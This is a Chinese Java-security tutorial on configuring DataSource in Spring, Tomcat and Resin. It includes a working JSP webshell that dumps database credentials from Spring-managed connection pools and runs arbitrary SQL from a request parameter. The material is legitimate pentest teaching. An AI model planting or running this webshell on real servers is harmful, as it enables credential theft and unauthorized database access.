DataSource

在真实的Java项目中通常不会使用原生的JDBCDriverManager去连接数据库,而是使用数据源(javax.sql.DataSource)来代替DriverManager管理数据库的连接。一般情况下在Web服务启动时候会预先定义好数据源,有了数据源程序就不再需要编写任何数据库连接相关的代码了,直接引用DataSource对象即可获取数据库连接了。

常见的数据源有:DBCPC3P0DruidMybatis DataSource,他们都实现于javax.sql.DataSource接口。

Spring MVC 数据源

在Spring MVC中我们可以自由的选择第三方数据源,通常我们会定义一个DataSource Bean用于配置和初始化数据源对象,然后在Spring中就可以通过Bean注入的方式获取数据源对象了。

在基于XML配置的SpringMVC中配置数据源:

  1. <bean id="dataSource" class="com.alibaba.druid.pool.DruidDataSource" init-method="init" destroy-method="close">
  2. <property name="url" value="${jdbc.url}"/>
  3. <property name="username" value="${jdbc.username}"/>
  4. <property name="password" value="${jdbc.password}"/>
  5. ....
  6. />

如上,我们定义了一个id为dataSource的Spring Bean对象,usernamepassword都使用了${jdbc.XXX}表示,很明显${jdbc.username}并不是数据库的用户名,这其实是采用了Spring的property-placeholder制定了一个properties文件,使用${jdbc.username}其实会自动自定义的properties配置文件中的配置信息。

  1. <context:property-placeholder location="classpath:/config/jdbc.properties"/>

jdbc.properties内容:

  1. jdbc.driver=com.mysql.jdbc.Driver
  2. jdbc.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
  3. jdbc.username=root
  4. jdbc.password=root

在Spring中我们只需要通过引用这个Bean就可以获取到数据源了,比如在Spring JDBC中通过注入数据源(ref="dataSource")就可以获取到上面定义的dataSource

  1. <!-- jdbcTemplate Spring JDBC 模版 -->
  2. <bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate" abstract="false" lazy-init="false">
  3. <property name="dataSource" ref="dataSource"/>
  4. </bean>

SpringBoot配置数据源:

在SpringBoot中只需要在application.propertiesapplication.yml中定义spring.datasource.xxx即可完成DataSource配置。

  1. spring.datasource.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
  2. spring.datasource.username=root
  3. spring.datasource.password=root
  4. spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
  5. spring.datasource.driver-class-name=com.mysql.jdbc.Driver

Spring 数据源Hack

我们通常可以通过查找Spring数据库配置信息找到数据库账号密码,但是很多时候我们可能会找到非常多的配置项甚至是加密的配置信息,这将会让我们非常的难以确定真实的数据库配置信息。某些时候在授权渗透测试的情况下我们可能会需要传个shell尝试性的连接下数据库(高危操作,请勿违法!)证明下危害,那么您可以在webshell中使用注入数据源的方式来获取数据库连接对象,甚至是读取数据库密码(切记不要未经用户授权违规操作!)。

spring-datasource.jsp获取数据源/执行SQL语句示例

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="org.springframework.context.ApplicationContext" %>
  3. <%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
  4. <%@ page import="javax.sql.DataSource" %>
  5. <%@ page import="java.sql.Connection" %>
  6. <%@ page import="java.sql.PreparedStatement" %>
  7. <%@ page import="java.sql.ResultSet" %>
  8. <%@ page import="java.sql.ResultSetMetaData" %>
  9. <%@ page import="java.util.List" %>
  10. <%@ page import="java.util.ArrayList" %>
  11. <%@ page import="java.lang.reflect.InvocationTargetException" %>
  12. <style>
  13. th, td {
  14. border: 1px solid #C1DAD7;
  15. font-size: 12px;
  16. padding: 6px;
  17. color: #4f6b72;
  18. }
  19. </style>
  20. <%!
  21. // C3PO数据源类
  22. private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";
  23. // DBCP数据源类
  24. private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";
  25. //Druid数据源类
  26. private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";
  27. /**
  28. * 获取所有Spring管理的数据源
  29. * @param ctx Spring上下文
  30. * @return 数据源数组
  31. */
  32. List<DataSource> getDataSources(ApplicationContext ctx) {
  33. List<DataSource> dataSourceList = new ArrayList<DataSource>();
  34. String[] beanNames = ctx.getBeanDefinitionNames();
  35. for (String beanName : beanNames) {
  36. Object object = ctx.getBean(beanName);
  37. if (object instanceof DataSource) {
  38. dataSourceList.add((DataSource) object);
  39. }
  40. }
  41. return dataSourceList;
  42. }
  43. /**
  44. * 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类
  45. * @param ctx Spring上下文对象
  46. * @return 数据源配置字符串
  47. * @throws ClassNotFoundException 数据源类未找到异常
  48. * @throws NoSuchMethodException 反射调用时方法没找到异常
  49. * @throws InvocationTargetException 反射调用异常
  50. * @throws IllegalAccessException 反射调用时不正确的访问异常
  51. */
  52. String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
  53. NoSuchMethodException, InvocationTargetException, IllegalAccessException {
  54. List<DataSource> dataSourceList = getDataSources(ctx);
  55. for (DataSource dataSource : dataSourceList) {
  56. String className = dataSource.getClass().getName();
  57. String url = null;
  58. String UserName = null;
  59. String PassWord = null;
  60. if (C3P0_CLASS_NAME.equals(className)) {
  61. Class clazz = Class.forName(C3P0_CLASS_NAME);
  62. url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
  63. UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
  64. PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
  65. } else if (DBCP_CLASS_NAME.equals(className)) {
  66. Class clazz = Class.forName(DBCP_CLASS_NAME);
  67. url = (String) clazz.getMethod("getUrl").invoke(dataSource);
  68. UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
  69. PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
  70. } else if (DRUID_CLASS_NAME.equals(className)) {
  71. Class clazz = Class.forName(DRUID_CLASS_NAME);
  72. url = (String) clazz.getMethod("getUrl").invoke(dataSource);
  73. UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
  74. PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
  75. }
  76. return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
  77. }
  78. return null;
  79. }
  80. %>
  81. <%
  82. String sql = request.getParameter("sql");// 定义需要执行的SQL语句
  83. // 获取Spring的ApplicationContext对象
  84. ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());
  85. // 获取Spring中所有的数据源对象
  86. List<DataSource> dataSourceList = getDataSources(ctx);
  87. // 检查是否获取到了数据源
  88. if (dataSourceList == null) {
  89. out.println("未找到任何数据源配置信息!");
  90. return;
  91. }
  92. out.println("<hr/>");
  93. out.println("Spring DataSource配置信息获取测试:");
  94. out.println("<hr/>");
  95. out.print(printDataSourceConfig(ctx));
  96. out.println("<hr/>");
  97. // 定义需要查询的SQL语句
  98. sql = sql != null ? sql : "select version()";
  99. for (DataSource dataSource : dataSourceList) {
  100. out.println("<hr/>");
  101. out.println("SQL语句:<font color='red'>" + sql + "</font>");
  102. out.println("<hr/>");
  103. //从数据源中获取数据库连接对象
  104. Connection connection = dataSource.getConnection();
  105. // 创建预编译查询对象
  106. PreparedStatement pstt = connection.prepareStatement(sql);
  107. // 执行查询并获取查询结果对象
  108. ResultSet rs = pstt.executeQuery();
  109. out.println("<table><tr>");
  110. // 获取查询结果的元数据对象
  111. ResultSetMetaData metaData = rs.getMetaData();
  112. // 从元数据中获取字段信息
  113. for (int i = 1; i <= metaData.getColumnCount(); i++) {
  114. out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
  115. }
  116. out.println("<tr/>");
  117. // 获取JDBC查询结果
  118. while (rs.next()) {
  119. out.println("<tr>");
  120. for (int i = 1; i <= metaData.getColumnCount(); i++) {
  121. out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
  122. }
  123. out.println("<tr/>");
  124. }
  125. rs.close();
  126. pstt.close();
  127. }
  128. %>

读取数据源信息和执行SQL语句效果:

image-20191209230840464

上面的代码不需要手动去配置文件中寻找任何信息就可以直接读取出数据库配置信息甚至是执行SQL语句,其实是利用了Spring的ApplicationContext遍历了当前Web应用中Spring管理的所有的Bean,然后找出所有DataSource的对象,通过反射读取出C3P0DBCPDruid这三类数据源的数据库配置信息,最后还利用了DataSource获取了Connection对象实现了数据库查询功能。

Java Web Server 数据源

除了第三方数据源库实现,标准的Web容器自身也提供了数据源服务,通常会在容器中配置DataSource信息并注册到JNDI(Java Naming and Directory Interface)中,在Web应用中我们可以通过JNDI的接口lookup(定义的JNDI路径)来获取到DataSource对象。

Tomcat JNDI DataSource

Tomcat配置JNDI数据源需要手动修改Tomcat目录/conf/context.xml文件,参考:Tomcat JNDI Datasource

  1. <Context>
  2. <Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"
  3. maxTotal="100" maxIdle="30" maxWaitMillis="10000"
  4. username="root" password="root" driverClassName="com.mysql.jdbc.Driver"
  5. url="jdbc:mysql://localhost:3306/mysql"/>
  6. </Context>

Resin JNDI DataSource

Resin需要修改resin.xml,添加database配置,参考:Resin Database configuration

  1. <database jndi-name='jdbc/test'>
  2. <driver type="com.mysql.jdbc.Driver">
  3. <url>jdbc:mysql://localhost:3306/mysql</url>
  4. <user>root</user>
  5. <password>root</password>
  6. </driver>
  7. </database>